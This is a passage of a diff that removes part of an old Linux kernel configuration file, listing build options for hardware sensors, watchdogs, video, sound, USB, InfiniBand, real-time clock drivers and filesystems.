-# CONFIG_SENSORS_F75375S is not set
-CONFIG_SENSORS_FSCHER=m
-CONFIG_SENSORS_FSCPOS=m
-# CONFIG_SENSORS_FSCHMD is not set
-CONFIG_SENSORS_GL518SM=m
-CONFIG_SENSORS_GL520SM=m
-# CONFIG_SENSORS_CORETEMP is not set
-# CONFIG_SENSORS_IBMPEX is not set
-CONFIG_SENSORS_IT87=m
-CONFIG_SENSORS_LM63=m
-CONFIG_SENSORS_LM75=m
-CONFIG_SENSORS_LM77=m
-CONFIG_SENSORS_LM78=m
-CONFIG_SENSORS_LM80=m
-CONFIG_SENSORS_LM83=m
-CONFIG_SENSORS_LM85=m
-CONFIG_SENSORS_LM87=m
-CONFIG_SENSORS_LM90=m
-CONFIG_SENSORS_LM92=m
-# CONFIG_SENSORS_LM93 is not set
-CONFIG_SENSORS_MAX1619=m
-# CONFIG_SENSORS_MAX6650 is not set
-CONFIG_SENSORS_PC87360=m
-# CONFIG_SENSORS_PC87427 is not set
-CONFIG_SENSORS_SIS5595=m
-# CONFIG_SENSORS_DME1737 is not set
-CONFIG_SENSORS_SMSC47M1=m
-CONFIG_SENSORS_SMSC47M192=m
-CONFIG_SENSORS_SMSC47B397=m
-# CONFIG_SENSORS_THMC50 is not set
-CONFIG_SENSORS_VIA686A=m
-# CONFIG_SENSORS_VT1211 is not set
-CONFIG_SENSORS_VT8231=m
-CONFIG_SENSORS_W83781D=m
-CONFIG_SENSORS_W83791D=m
-CONFIG_SENSORS_W83792D=m
-# CONFIG_SENSORS_W83793 is not set
-CONFIG_SENSORS_W83L785TS=m
-CONFIG_SENSORS_W83627HF=m
-CONFIG_SENSORS_W83627EHF=m
-CONFIG_SENSORS_HDAPS=m
-# CONFIG_SENSORS_APPLESMC is not set
-# CONFIG_HWMON_DEBUG_CHIP is not set
-CONFIG_WATCHDOG=y
-# CONFIG_WATCHDOG_NOWAYOUT is not set
-
-#
-# Watchdog Device Drivers
-#
-CONFIG_SOFT_WATCHDOG=m
-# CONFIG_ACQUIRE_WDT is not set
-# CONFIG_ADVANTECH_WDT is not set
-CONFIG_ALIM1535_WDT=m
-CONFIG_ALIM7101_WDT=m
-# CONFIG_SC520_WDT is not set
-# CONFIG_EUROTECH_WDT is not set
-# CONFIG_IB700_WDT is not set
-CONFIG_IBMASR=m
-# CONFIG_WAFER_WDT is not set
-CONFIG_I6300ESB_WDT=m
-# CONFIG_ITCO_WDT is not set
-# CONFIG_IT8712F_WDT is not set
-# CONFIG_SC1200_WDT is not set
-# CONFIG_PC87413_WDT is not set
-# CONFIG_60XX_WDT is not set
-# CONFIG_SBC8360_WDT is not set
-# CONFIG_CPU5_WDT is not set
-# CONFIG_SMSC37B787_WDT is not set
-CONFIG_W83627HF_WDT=m
-# CONFIG_W83697HF_WDT is not set
-CONFIG_W83877F_WDT=m
-CONFIG_W83977F_WDT=m
-CONFIG_MACHZ_WDT=m
-# CONFIG_SBC_EPX_C3_WATCHDOG is not set
-
-#
-# PCI-based Watchdog Cards
-#
-CONFIG_PCIPCWATCHDOG=m
-CONFIG_WDTPCI=m
-CONFIG_WDT_501_PCI=y
-
-#
-# USB-based Watchdog Cards
-#
-CONFIG_USBPCWATCHDOG=m
-
-#
-# Sonics Silicon Backplane
-#
-CONFIG_SSB_POSSIBLE=y
-CONFIG_SSB=m
-CONFIG_SSB_PCIHOST_POSSIBLE=y
-CONFIG_SSB_PCIHOST=y
-CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
-# CONFIG_SSB_PCMCIAHOST is not set
-# CONFIG_SSB_DEBUG is not set
-CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
-CONFIG_SSB_DRIVER_PCICORE=y
-
-#
-# Multifunction device drivers
-#
-# CONFIG_MFD_SM501 is not set
-
-#
-# Multimedia devices
-#
-CONFIG_VIDEO_DEV=m
-CONFIG_VIDEO_V4L1=y
-CONFIG_VIDEO_V4L1_COMPAT=y
-CONFIG_VIDEO_V4L2=y
-CONFIG_VIDEO_CAPTURE_DRIVERS=y
-# CONFIG_VIDEO_ADV_DEBUG is not set
-CONFIG_VIDEO_HELPER_CHIPS_AUTO=y
-CONFIG_VIDEO_TVAUDIO=m
-CONFIG_VIDEO_TDA7432=m
-CONFIG_VIDEO_TDA9875=m
-CONFIG_VIDEO_MSP3400=m
-CONFIG_VIDEO_WM8775=m
-CONFIG_VIDEO_SAA711X=m
-CONFIG_VIDEO_TVP5150=m
-CONFIG_VIDEO_CX25840=m
-CONFIG_VIDEO_CX2341X=m
-# CONFIG_VIDEO_VIVI is not set
-CONFIG_VIDEO_BT848=m
-CONFIG_VIDEO_SAA6588=m
-# CONFIG_VIDEO_BWQCAM is not set
-# CONFIG_VIDEO_CQCAM is not set
-# CONFIG_VIDEO_W9966 is not set
-# CONFIG_VIDEO_CPIA is not set
-CONFIG_VIDEO_CPIA2=m
-# CONFIG_VIDEO_SAA5246A is not set
-# CONFIG_VIDEO_SAA5249 is not set
-# CONFIG_TUNER_3036 is not set
-# CONFIG_VIDEO_STRADIS is not set
-# CONFIG_VIDEO_ZORAN is not set
-# CONFIG_VIDEO_SAA7134 is not set
-# CONFIG_VIDEO_MXB is not set
-# CONFIG_VIDEO_DPC is not set
-# CONFIG_VIDEO_HEXIUM_ORION is not set
-# CONFIG_VIDEO_HEXIUM_GEMINI is not set
-# CONFIG_VIDEO_CX88 is not set
-# CONFIG_VIDEO_IVTV is not set
-# CONFIG_VIDEO_CAFE_CCIC is not set
-CONFIG_V4L_USB_DRIVERS=y
-CONFIG_VIDEO_PVRUSB2=m
-# CONFIG_VIDEO_PVRUSB2_29XXX is not set
-CONFIG_VIDEO_PVRUSB2_24XXX=y
-CONFIG_VIDEO_PVRUSB2_SYSFS=y
-# CONFIG_VIDEO_PVRUSB2_DEBUGIFC is not set
-CONFIG_VIDEO_EM28XX=m
-# CONFIG_VIDEO_USBVISION is not set
-CONFIG_VIDEO_USBVIDEO=m
-CONFIG_USB_VICAM=m
-CONFIG_USB_IBMCAM=m
-CONFIG_USB_KONICAWC=m
-CONFIG_USB_QUICKCAM_MESSENGER=m
-CONFIG_USB_ET61X251=m
-CONFIG_VIDEO_OVCAMCHIP=m
-CONFIG_USB_W9968CF=m
-CONFIG_USB_OV511=m
-CONFIG_USB_SE401=m
-CONFIG_USB_SN9C102=m
-CONFIG_USB_STV680=m
-CONFIG_USB_ZC0301=m
-CONFIG_USB_PWC=m
-# CONFIG_USB_PWC_DEBUG is not set
-# CONFIG_USB_ZR364XX is not set
-CONFIG_RADIO_ADAPTERS=y
-# CONFIG_RADIO_GEMTEK_PCI is not set
-# CONFIG_RADIO_MAXIRADIO is not set
-# CONFIG_RADIO_MAESTRO is not set
-CONFIG_USB_DSBR=m
-# CONFIG_DVB_CORE is not set
-CONFIG_VIDEO_TUNER=m
-# CONFIG_VIDEO_TUNER_CUSTOMIZE is not set
-CONFIG_TUNER_MT20XX=m
-CONFIG_TUNER_TDA8290=m
-CONFIG_TUNER_TEA5761=m
-CONFIG_TUNER_TEA5767=m
-CONFIG_TUNER_SIMPLE=m
-CONFIG_VIDEOBUF_GEN=m
-CONFIG_VIDEOBUF_DMA_SG=m
-CONFIG_VIDEO_BTCX=m
-CONFIG_VIDEO_IR_I2C=m
-CONFIG_VIDEO_IR=m
-CONFIG_VIDEO_TVEEPROM=m
-CONFIG_DAB=y
-CONFIG_USB_DABUSB=m
-
-#
-# Graphics support
-#
-CONFIG_AGP=y
-CONFIG_AGP_AMD64=y
-CONFIG_AGP_INTEL=y
-CONFIG_AGP_SIS=y
-CONFIG_AGP_VIA=y
-CONFIG_DRM=m
-# CONFIG_DRM_TDFX is not set
-CONFIG_DRM_R128=m
-CONFIG_DRM_RADEON=m
-CONFIG_DRM_I810=m
-CONFIG_DRM_I830=m
-CONFIG_DRM_I915=m
-CONFIG_DRM_MGA=m
-# CONFIG_DRM_SIS is not set
-CONFIG_DRM_VIA=m
-CONFIG_DRM_SAVAGE=m
-CONFIG_VGASTATE=m
-# CONFIG_VIDEO_OUTPUT_CONTROL is not set
-CONFIG_FB=y
-# CONFIG_FIRMWARE_EDID is not set
-CONFIG_FB_DDC=m
-CONFIG_FB_CFB_FILLRECT=y
-CONFIG_FB_CFB_COPYAREA=y
-CONFIG_FB_CFB_IMAGEBLIT=y
-# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
-# CONFIG_FB_SYS_FILLRECT is not set
-# CONFIG_FB_SYS_COPYAREA is not set
-# CONFIG_FB_SYS_IMAGEBLIT is not set
-# CONFIG_FB_SYS_FOPS is not set
-CONFIG_FB_DEFERRED_IO=y
-# CONFIG_FB_SVGALIB is not set
-# CONFIG_FB_MACMODES is not set
-CONFIG_FB_BACKLIGHT=y
-CONFIG_FB_MODE_HELPERS=y
-CONFIG_FB_TILEBLITTING=y
-
-#
-# Frame buffer hardware drivers
-#
-CONFIG_FB_CIRRUS=m
-# CONFIG_FB_PM2 is not set
-# CONFIG_FB_CYBER2000 is not set
-# CONFIG_FB_ARC is not set
-# CONFIG_FB_ASILIANT is not set
-# CONFIG_FB_IMSTT is not set
-CONFIG_FB_VGA16=m
-# CONFIG_FB_UVESA is not set
-CONFIG_FB_VESA=y
-# CONFIG_FB_EFI is not set
-# CONFIG_FB_HECUBA is not set
-# CONFIG_FB_HGA is not set
-# CONFIG_FB_S1D13XXX is not set
-CONFIG_FB_NVIDIA=m
-CONFIG_FB_NVIDIA_I2C=y
-# CONFIG_FB_NVIDIA_DEBUG is not set
-CONFIG_FB_NVIDIA_BACKLIGHT=y
-CONFIG_FB_RIVA=m
-# CONFIG_FB_RIVA_I2C is not set
-# CONFIG_FB_RIVA_DEBUG is not set
-CONFIG_FB_RIVA_BACKLIGHT=y
-# CONFIG_FB_LE80578 is not set
-CONFIG_FB_INTEL=m
-# CONFIG_FB_INTEL_DEBUG is not set
-CONFIG_FB_INTEL_I2C=y
-# CONFIG_FB_MATROX is not set
-# CONFIG_FB_RADEON is not set
-# CONFIG_FB_ATY128 is not set
-# CONFIG_FB_ATY is not set
-# CONFIG_FB_S3 is not set
-CONFIG_FB_SAVAGE=m
-CONFIG_FB_SAVAGE_I2C=y
-CONFIG_FB_SAVAGE_ACCEL=y
-# CONFIG_FB_SIS is not set
-# CONFIG_FB_NEOMAGIC is not set
-CONFIG_FB_KYRO=m
-# CONFIG_FB_3DFX is not set
-# CONFIG_FB_VOODOO1 is not set
-# CONFIG_FB_VT8623 is not set
-# CONFIG_FB_TRIDENT is not set
-# CONFIG_FB_ARK is not set
-# CONFIG_FB_PM3 is not set
-# CONFIG_FB_GEODE is not set
-# CONFIG_FB_VIRTUAL is not set
-CONFIG_BACKLIGHT_LCD_SUPPORT=y
-CONFIG_LCD_CLASS_DEVICE=m
-CONFIG_BACKLIGHT_CLASS_DEVICE=y
-# CONFIG_BACKLIGHT_CORGI is not set
-# CONFIG_BACKLIGHT_PROGEAR is not set
-
-#
-# Display device support
-#
-# CONFIG_DISPLAY_SUPPORT is not set
-
-#
-# Console display driver support
-#
-CONFIG_VGA_CONSOLE=y
-CONFIG_VGACON_SOFT_SCROLLBACK=y
-CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=64
-CONFIG_VIDEO_SELECT=y
-CONFIG_DUMMY_CONSOLE=y
-CONFIG_FRAMEBUFFER_CONSOLE=y
-# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
-CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
-# CONFIG_FONTS is not set
-CONFIG_FONT_8x8=y
-CONFIG_FONT_8x16=y
-CONFIG_LOGO=y
-# CONFIG_LOGO_LINUX_MONO is not set
-# CONFIG_LOGO_LINUX_VGA16 is not set
-CONFIG_LOGO_LINUX_CLUT224=y
-
-#
-# Sound
-#
-CONFIG_SOUND=m
-
-#
-# Advanced Linux Sound Architecture
-#
-CONFIG_SND=m
-CONFIG_SND_TIMER=m
-CONFIG_SND_PCM=m
-CONFIG_SND_HWDEP=m
-CONFIG_SND_RAWMIDI=m
-CONFIG_SND_SEQUENCER=m
-CONFIG_SND_SEQ_DUMMY=m
-CONFIG_SND_OSSEMUL=y
-CONFIG_SND_MIXER_OSS=m
-CONFIG_SND_PCM_OSS=m
-CONFIG_SND_PCM_OSS_PLUGINS=y
-CONFIG_SND_SEQUENCER_OSS=y
-CONFIG_SND_RTCTIMER=m
-CONFIG_SND_SEQ_RTCTIMER_DEFAULT=y
-CONFIG_SND_DYNAMIC_MINORS=y
-# CONFIG_SND_SUPPORT_OLD_API is not set
-CONFIG_SND_VERBOSE_PROCFS=y
-# CONFIG_SND_VERBOSE_PRINTK is not set
-# CONFIG_SND_DEBUG is not set
-
-#
-# Generic devices
-#
-CONFIG_SND_MPU401_UART=m
-CONFIG_SND_OPL3_LIB=m
-CONFIG_SND_VX_LIB=m
-CONFIG_SND_AC97_CODEC=m
-CONFIG_SND_DUMMY=m
-CONFIG_SND_VIRMIDI=m
-CONFIG_SND_MTPAV=m
-# CONFIG_SND_MTS64 is not set
-# CONFIG_SND_SERIAL_U16550 is not set
-CONFIG_SND_MPU401=m
-# CONFIG_SND_PORTMAN2X4 is not set
-CONFIG_SND_SB_COMMON=m
-
-#
-# PCI devices
-#
-CONFIG_SND_AD1889=m
-CONFIG_SND_ALS300=m
-CONFIG_SND_ALS4000=m
-CONFIG_SND_ALI5451=m
-CONFIG_SND_ATIIXP=m
-CONFIG_SND_ATIIXP_MODEM=m
-CONFIG_SND_AU8810=m
-CONFIG_SND_AU8820=m
-CONFIG_SND_AU8830=m
-CONFIG_SND_AZT3328=m
-CONFIG_SND_BT87X=m
-# CONFIG_SND_BT87X_OVERCLOCK is not set
-CONFIG_SND_CA0106=m
-CONFIG_SND_CMIPCI=m
-CONFIG_SND_CS4281=m
-CONFIG_SND_CS46XX=m
-CONFIG_SND_CS46XX_NEW_DSP=y
-# CONFIG_SND_CS5530 is not set
-CONFIG_SND_DARLA20=m
-CONFIG_SND_GINA20=m
-CONFIG_SND_LAYLA20=m
-CONFIG_SND_DARLA24=m
-CONFIG_SND_GINA24=m
-CONFIG_SND_LAYLA24=m
-CONFIG_SND_MONA=m
-CONFIG_SND_MIA=m
-CONFIG_SND_ECHO3G=m
-CONFIG_SND_INDIGO=m
-CONFIG_SND_INDIGOIO=m
-CONFIG_SND_INDIGODJ=m
-CONFIG_SND_EMU10K1=m
-CONFIG_SND_EMU10K1X=m
-CONFIG_SND_ENS1370=m
-CONFIG_SND_ENS1371=m
-CONFIG_SND_ES1938=m
-CONFIG_SND_ES1968=m
-CONFIG_SND_FM801=m
-CONFIG_SND_FM801_TEA575X_BOOL=y
-CONFIG_SND_FM801_TEA575X=m
-CONFIG_SND_HDA_INTEL=m
-# CONFIG_SND_HDA_HWDEP is not set
-CONFIG_SND_HDA_CODEC_REALTEK=y
-CONFIG_SND_HDA_CODEC_ANALOG=y
-CONFIG_SND_HDA_CODEC_SIGMATEL=y
-CONFIG_SND_HDA_CODEC_VIA=y
-CONFIG_SND_HDA_CODEC_ATIHDMI=y
-CONFIG_SND_HDA_CODEC_CONEXANT=y
-CONFIG_SND_HDA_CODEC_CMEDIA=y
-CONFIG_SND_HDA_CODEC_SI3054=y
-CONFIG_SND_HDA_GENERIC=y
-CONFIG_SND_HDA_POWER_SAVE=y
-CONFIG_SND_HDA_POWER_SAVE_DEFAULT=0
-CONFIG_SND_HDSP=m
-CONFIG_SND_HDSPM=m
-CONFIG_SND_ICE1712=m
-CONFIG_SND_ICE1724=m
-CONFIG_SND_INTEL8X0=m
-CONFIG_SND_INTEL8X0M=m
-CONFIG_SND_KORG1212=m
-CONFIG_SND_KORG1212_FIRMWARE_IN_KERNEL=y
-CONFIG_SND_MAESTRO3=m
-CONFIG_SND_MAESTRO3_FIRMWARE_IN_KERNEL=y
-CONFIG_SND_MIXART=m
-CONFIG_SND_NM256=m
-CONFIG_SND_PCXHR=m
-CONFIG_SND_RIPTIDE=m
-CONFIG_SND_RME32=m
-CONFIG_SND_RME96=m
-CONFIG_SND_RME9652=m
-CONFIG_SND_SONICVIBES=m
-CONFIG_SND_TRIDENT=m
-CONFIG_SND_VIA82XX=m
-CONFIG_SND_VIA82XX_MODEM=m
-CONFIG_SND_VX222=m
-CONFIG_SND_YMFPCI=m
-CONFIG_SND_YMFPCI_FIRMWARE_IN_KERNEL=y
-# CONFIG_SND_AC97_POWER_SAVE is not set
-
-#
-# USB devices
-#
-CONFIG_SND_USB_AUDIO=m
-CONFIG_SND_USB_USX2Y=m
-# CONFIG_SND_USB_CAIAQ is not set
-
-#
-# PCMCIA devices
-#
-# CONFIG_SND_VXPOCKET is not set
-# CONFIG_SND_PDAUDIOCF is not set
-
-#
-# System on Chip audio support
-#
-# CONFIG_SND_SOC is not set
-
-#
-# SoC Audio support for SuperH
-#
-
-#
-# Open Sound System
-#
-# CONFIG_SOUND_PRIME is not set
-CONFIG_AC97_BUS=m
-CONFIG_HID_SUPPORT=y
-CONFIG_HID=y
-CONFIG_HID_DEBUG=y
-# CONFIG_HIDRAW is not set
-
-#
-# USB Input Devices
-#
-CONFIG_USB_HID=y
-# CONFIG_USB_HIDINPUT_POWERBOOK is not set
-CONFIG_HID_FF=y
-CONFIG_HID_PID=y
-CONFIG_LOGITECH_FF=y
-# CONFIG_PANTHERLORD_FF is not set
-CONFIG_THRUSTMASTER_FF=y
-# CONFIG_ZEROPLUS_FF is not set
-CONFIG_USB_HIDDEV=y
-CONFIG_USB_SUPPORT=y
-CONFIG_USB_ARCH_HAS_HCD=y
-CONFIG_USB_ARCH_HAS_OHCI=y
-CONFIG_USB_ARCH_HAS_EHCI=y
-CONFIG_USB=y
-# CONFIG_USB_DEBUG is not set
-
-#
-# Miscellaneous USB options
-#
-CONFIG_USB_DEVICEFS=y
-CONFIG_USB_DEVICE_CLASS=y
-# CONFIG_USB_DYNAMIC_MINORS is not set
-# CONFIG_USB_SUSPEND is not set
-# CONFIG_USB_PERSIST is not set
-# CONFIG_USB_OTG is not set
-
-#
-# USB Host Controller Drivers
-#
-CONFIG_USB_EHCI_HCD=m
-CONFIG_USB_EHCI_SPLIT_ISO=y
-CONFIG_USB_EHCI_ROOT_HUB_TT=y
-CONFIG_USB_EHCI_TT_NEWSCHED=y
-CONFIG_USB_ISP116X_HCD=m
-CONFIG_USB_OHCI_HCD=m
-# CONFIG_USB_OHCI_HCD_SSB is not set
-# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
-# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
-CONFIG_USB_OHCI_LITTLE_ENDIAN=y
-CONFIG_USB_UHCI_HCD=m
-CONFIG_USB_SL811_HCD=m
-CONFIG_USB_SL811_CS=m
-# CONFIG_USB_R8A66597_HCD is not set
-
-#
-# USB Device Class drivers
-#
-CONFIG_USB_ACM=m
-CONFIG_USB_PRINTER=m
-
-#
-# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
-#
-
-#
-# may also be needed; see USB_STORAGE Help for more information
-#
-CONFIG_USB_STORAGE=m
-# CONFIG_USB_STORAGE_DEBUG is not set
-CONFIG_USB_STORAGE_DATAFAB=y
-CONFIG_USB_STORAGE_FREECOM=y
-CONFIG_USB_STORAGE_ISD200=y
-CONFIG_USB_STORAGE_DPCM=y
-CONFIG_USB_STORAGE_USBAT=y
-CONFIG_USB_STORAGE_SDDR09=y
-CONFIG_USB_STORAGE_SDDR55=y
-CONFIG_USB_STORAGE_JUMPSHOT=y
-CONFIG_USB_STORAGE_ALAUDA=y
-# CONFIG_USB_STORAGE_KARMA is not set
-# CONFIG_USB_LIBUSUAL is not set
-
-#
-# USB Imaging devices
-#
-CONFIG_USB_MDC800=m
-CONFIG_USB_MICROTEK=m
-CONFIG_USB_MON=y
-
-#
-# USB port drivers
-#
-CONFIG_USB_USS720=m
-
-#
-# USB Serial Converter support
-#
-CONFIG_USB_SERIAL=m
-CONFIG_USB_SERIAL_GENERIC=y
-# CONFIG_USB_SERIAL_AIRCABLE is not set
-CONFIG_USB_SERIAL_AIRPRIME=m
-CONFIG_USB_SERIAL_ARK3116=m
-CONFIG_USB_SERIAL_BELKIN=m
-# CONFIG_USB_SERIAL_CH341 is not set
-CONFIG_USB_SERIAL_WHITEHEAT=m
-CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
-CONFIG_USB_SERIAL_CP2101=m
-CONFIG_USB_SERIAL_CYPRESS_M8=m
-CONFIG_USB_SERIAL_EMPEG=m
-CONFIG_USB_SERIAL_FTDI_SIO=m
-CONFIG_USB_SERIAL_FUNSOFT=m
-CONFIG_USB_SERIAL_VISOR=m
-CONFIG_USB_SERIAL_IPAQ=m
-CONFIG_USB_SERIAL_IR=m
-CONFIG_USB_SERIAL_EDGEPORT=m
-CONFIG_USB_SERIAL_EDGEPORT_TI=m
-CONFIG_USB_SERIAL_GARMIN=m
-CONFIG_USB_SERIAL_IPW=m
-CONFIG_USB_SERIAL_KEYSPAN_PDA=m
-CONFIG_USB_SERIAL_KEYSPAN=m
-CONFIG_USB_SERIAL_KEYSPAN_MPR=y
-CONFIG_USB_SERIAL_KEYSPAN_USA28=y
-CONFIG_USB_SERIAL_KEYSPAN_USA28X=y
-CONFIG_USB_SERIAL_KEYSPAN_USA28XA=y
-CONFIG_USB_SERIAL_KEYSPAN_USA28XB=y
-CONFIG_USB_SERIAL_KEYSPAN_USA19=y
-CONFIG_USB_SERIAL_KEYSPAN_USA18X=y
-CONFIG_USB_SERIAL_KEYSPAN_USA19W=y
-CONFIG_USB_SERIAL_KEYSPAN_USA19QW=y
-CONFIG_USB_SERIAL_KEYSPAN_USA19QI=y
-CONFIG_USB_SERIAL_KEYSPAN_USA49W=y
-CONFIG_USB_SERIAL_KEYSPAN_USA49WLC=y
-CONFIG_USB_SERIAL_KLSI=m
-CONFIG_USB_SERIAL_KOBIL_SCT=m
-CONFIG_USB_SERIAL_MCT_U232=m
-# CONFIG_USB_SERIAL_MOS7720 is not set
-# CONFIG_USB_SERIAL_MOS7840 is not set
-CONFIG_USB_SERIAL_NAVMAN=m
-CONFIG_USB_SERIAL_PL2303=m
-# CONFIG_USB_SERIAL_OTI6858 is not set
-CONFIG_USB_SERIAL_HP4X=m
-CONFIG_USB_SERIAL_SAFE=m
-CONFIG_USB_SERIAL_SAFE_PADDED=y
-CONFIG_USB_SERIAL_SIERRAWIRELESS=m
-CONFIG_USB_SERIAL_TI=m
-CONFIG_USB_SERIAL_CYBERJACK=m
-CONFIG_USB_SERIAL_XIRCOM=m
-CONFIG_USB_SERIAL_OPTION=m
-CONFIG_USB_SERIAL_OMNINET=m
-# CONFIG_USB_SERIAL_DEBUG is not set
-CONFIG_USB_EZUSB=y
-
-#
-# USB Miscellaneous drivers
-#
-CONFIG_USB_EMI62=m
-CONFIG_USB_EMI26=m
-# CONFIG_USB_ADUTUX is not set
-CONFIG_USB_AUERSWALD=m
-CONFIG_USB_RIO500=m
-CONFIG_USB_LEGOTOWER=m
-CONFIG_USB_LCD=m
-# CONFIG_USB_BERRY_CHARGE is not set
-CONFIG_USB_LED=m
-# CONFIG_USB_CYPRESS_CY7C63 is not set
-# CONFIG_USB_CYTHERM is not set
-# CONFIG_USB_PHIDGET is not set
-CONFIG_USB_IDMOUSE=m
-# CONFIG_USB_FTDI_ELAN is not set
-CONFIG_USB_APPLEDISPLAY=m
-CONFIG_USB_SISUSBVGA=m
-CONFIG_USB_SISUSBVGA_CON=y
-CONFIG_USB_LD=m
-# CONFIG_USB_TRANCEVIBRATOR is not set
-# CONFIG_USB_IOWARRIOR is not set
-CONFIG_USB_TEST=m
-
-#
-# USB DSL modem support
-#
-CONFIG_USB_ATM=m
-CONFIG_USB_SPEEDTOUCH=m
-CONFIG_USB_CXACRU=m
-CONFIG_USB_UEAGLEATM=m
-CONFIG_USB_XUSBATM=m
-
-#
-# USB Gadget Support
-#
-# CONFIG_USB_GADGET is not set
-CONFIG_MMC=m
-# CONFIG_MMC_DEBUG is not set
-# CONFIG_MMC_UNSAFE_RESUME is not set
-
-#
-# MMC/SD Card Drivers
-#
-CONFIG_MMC_BLOCK=m
-CONFIG_MMC_BLOCK_BOUNCE=y
-# CONFIG_SDIO_UART is not set
-
-#
-# MMC/SD Host Controller Drivers
-#
-CONFIG_MMC_SDHCI=m
-# CONFIG_MMC_RICOH_MMC is not set
-CONFIG_MMC_WBSD=m
-# CONFIG_MMC_TIFM_SD is not set
-CONFIG_NEW_LEDS=y
-CONFIG_LEDS_CLASS=y
-
-#
-# LED drivers
-#
-
-#
-# LED Triggers
-#
-CONFIG_LEDS_TRIGGERS=y
-CONFIG_LEDS_TRIGGER_TIMER=m
-CONFIG_LEDS_TRIGGER_IDE_DISK=y
-CONFIG_LEDS_TRIGGER_HEARTBEAT=m
-CONFIG_INFINIBAND=m
-CONFIG_INFINIBAND_USER_MAD=m
-CONFIG_INFINIBAND_USER_ACCESS=m
-CONFIG_INFINIBAND_USER_MEM=y
-CONFIG_INFINIBAND_ADDR_TRANS=y
-CONFIG_INFINIBAND_MTHCA=m
-CONFIG_INFINIBAND_MTHCA_DEBUG=y
-CONFIG_INFINIBAND_IPATH=m
-CONFIG_INFINIBAND_AMSO1100=m
-# CONFIG_INFINIBAND_AMSO1100_DEBUG is not set
-CONFIG_INFINIBAND_CXGB3=m
-# CONFIG_INFINIBAND_CXGB3_DEBUG is not set
-CONFIG_MLX4_INFINIBAND=m
-CONFIG_INFINIBAND_IPOIB=m
-CONFIG_INFINIBAND_IPOIB_CM=y
-CONFIG_INFINIBAND_IPOIB_DEBUG=y
-# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
-CONFIG_INFINIBAND_SRP=m
-CONFIG_INFINIBAND_ISER=m
-CONFIG_EDAC=y
-
-#
-# Reporting subsystems
-#
-# CONFIG_EDAC_DEBUG is not set
-CONFIG_EDAC_MM_EDAC=m
-CONFIG_EDAC_E752X=m
-# CONFIG_EDAC_I82975X is not set
-CONFIG_EDAC_I5000=m
-CONFIG_RTC_LIB=m
-CONFIG_RTC_CLASS=m
-
-#
-# RTC interfaces
-#
-CONFIG_RTC_INTF_SYSFS=y
-CONFIG_RTC_INTF_PROC=y
-CONFIG_RTC_INTF_DEV=y
-# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
-# CONFIG_RTC_DRV_TEST is not set
-
-#
-# I2C RTC drivers
-#
-CONFIG_RTC_DRV_DS1307=m
-# CONFIG_RTC_DRV_DS1374 is not set
-CONFIG_RTC_DRV_DS1672=m
-# CONFIG_RTC_DRV_MAX6900 is not set
-CONFIG_RTC_DRV_RS5C372=m
-CONFIG_RTC_DRV_ISL1208=m
-CONFIG_RTC_DRV_X1205=m
-CONFIG_RTC_DRV_PCF8563=m
-CONFIG_RTC_DRV_PCF8583=m
-# CONFIG_RTC_DRV_M41T80 is not set
-
-#
-# SPI RTC drivers
-#
-
-#
-# Platform RTC drivers
-#
-# CONFIG_RTC_DRV_CMOS is not set
-CONFIG_RTC_DRV_DS1553=m
-# CONFIG_RTC_DRV_STK17TA8 is not set
-CONFIG_RTC_DRV_DS1742=m
-# CONFIG_RTC_DRV_M48T86 is not set
-# CONFIG_RTC_DRV_M48T59 is not set
-CONFIG_RTC_DRV_V3020=m
-
-#
-# on-CPU RTC drivers
-#
-# CONFIG_DMADEVICES is not set
-# CONFIG_AUXDISPLAY is not set
-CONFIG_VIRTUALIZATION=y
-# CONFIG_KVM is not set
-
-#
-# Userspace I/O
-#
-# CONFIG_UIO is not set
-
-#
-# Firmware Drivers
-#
-CONFIG_EDD=m
-CONFIG_DELL_RBU=m
-CONFIG_DCDBAS=m
-CONFIG_DMIID=y
-
-#
-# File systems
-#
-CONFIG_EXT2_FS=y
-CONFIG_EXT2_FS_XATTR=y
-CONFIG_EXT2_FS_POSIX_ACL=y
-CONFIG_EXT2_FS_SECURITY=y
-CONFIG_EXT2_FS_XIP=y
-CONFIG_FS_XIP=y
-CONFIG_EXT3_FS=m
-CONFIG_EXT3_FS_XATTR=y
-CONFIG_EXT3_FS_POSIX_ACL=y
-CONFIG_EXT3_FS_SECURITY=y
-CONFIG_EXT4DEV_FS=m
-CONFIG_EXT4DEV_FS_XATTR=y
-CONFIG_EXT4DEV_FS_POSIX_ACL=y
-CONFIG_EXT4DEV_FS_SECURITY=y
-CONFIG_JBD=m
-# CONFIG_JBD_DEBUG is not set
-CONFIG_JBD2=m
-# CONFIG_JBD2_DEBUG is not set
-CONFIG_FS_MBCACHE=y
-# CONFIG_REISERFS_FS is not set
-# CONFIG_JFS_FS is not set
-CONFIG_FS_POSIX_ACL=y
-# CONFIG_XFS_FS is not set
-CONFIG_GFS2_FS=m
-CONFIG_GFS2_FS_LOCKING_NOLOCK=m
-CONFIG_GFS2_FS_LOCKING_DLM=m
-# CONFIG_OCFS2_FS is not set
-# CONFIG_MINIX_FS is not set
-# CONFIG_ROMFS_FS is not set
-CONFIG_INOTIFY=y
-CONFIG_INOTIFY_USER=y
-CONFIG_QUOTA=y
-# CONFIG_QUOTA_NETLINK_INTERFACE is not set
-CONFIG_PRINT_QUOTA_WARNING=y
-# CONFIG_QFMT_V1 is not set
-CONFIG_QFMT_V2=y
-CONFIG_QUOTACTL=y
-CONFIG_DNOTIFY=y
-# CONFIG_AUTOFS_FS is not set
-CONFIG_AUTOFS4_FS=m
-# CONFIG_FUSE_FS is not set
-
-#
-# CD-ROM/DVD Filesystems
-#
-CONFIG_ISO9660_FS=y
-CONFIG_JOLIET=y
-CONFIG_ZISOFS=y
-CONFIG_UDF_FS=m
-CONFIG_UDF_NLS=y
-
-#
-# DOS/FAT/NT Filesystems
-#
-CONFIG_FAT_FS=m
-CONFIG_MSDOS_FS=m
-CONFIG_VFAT_FS=m
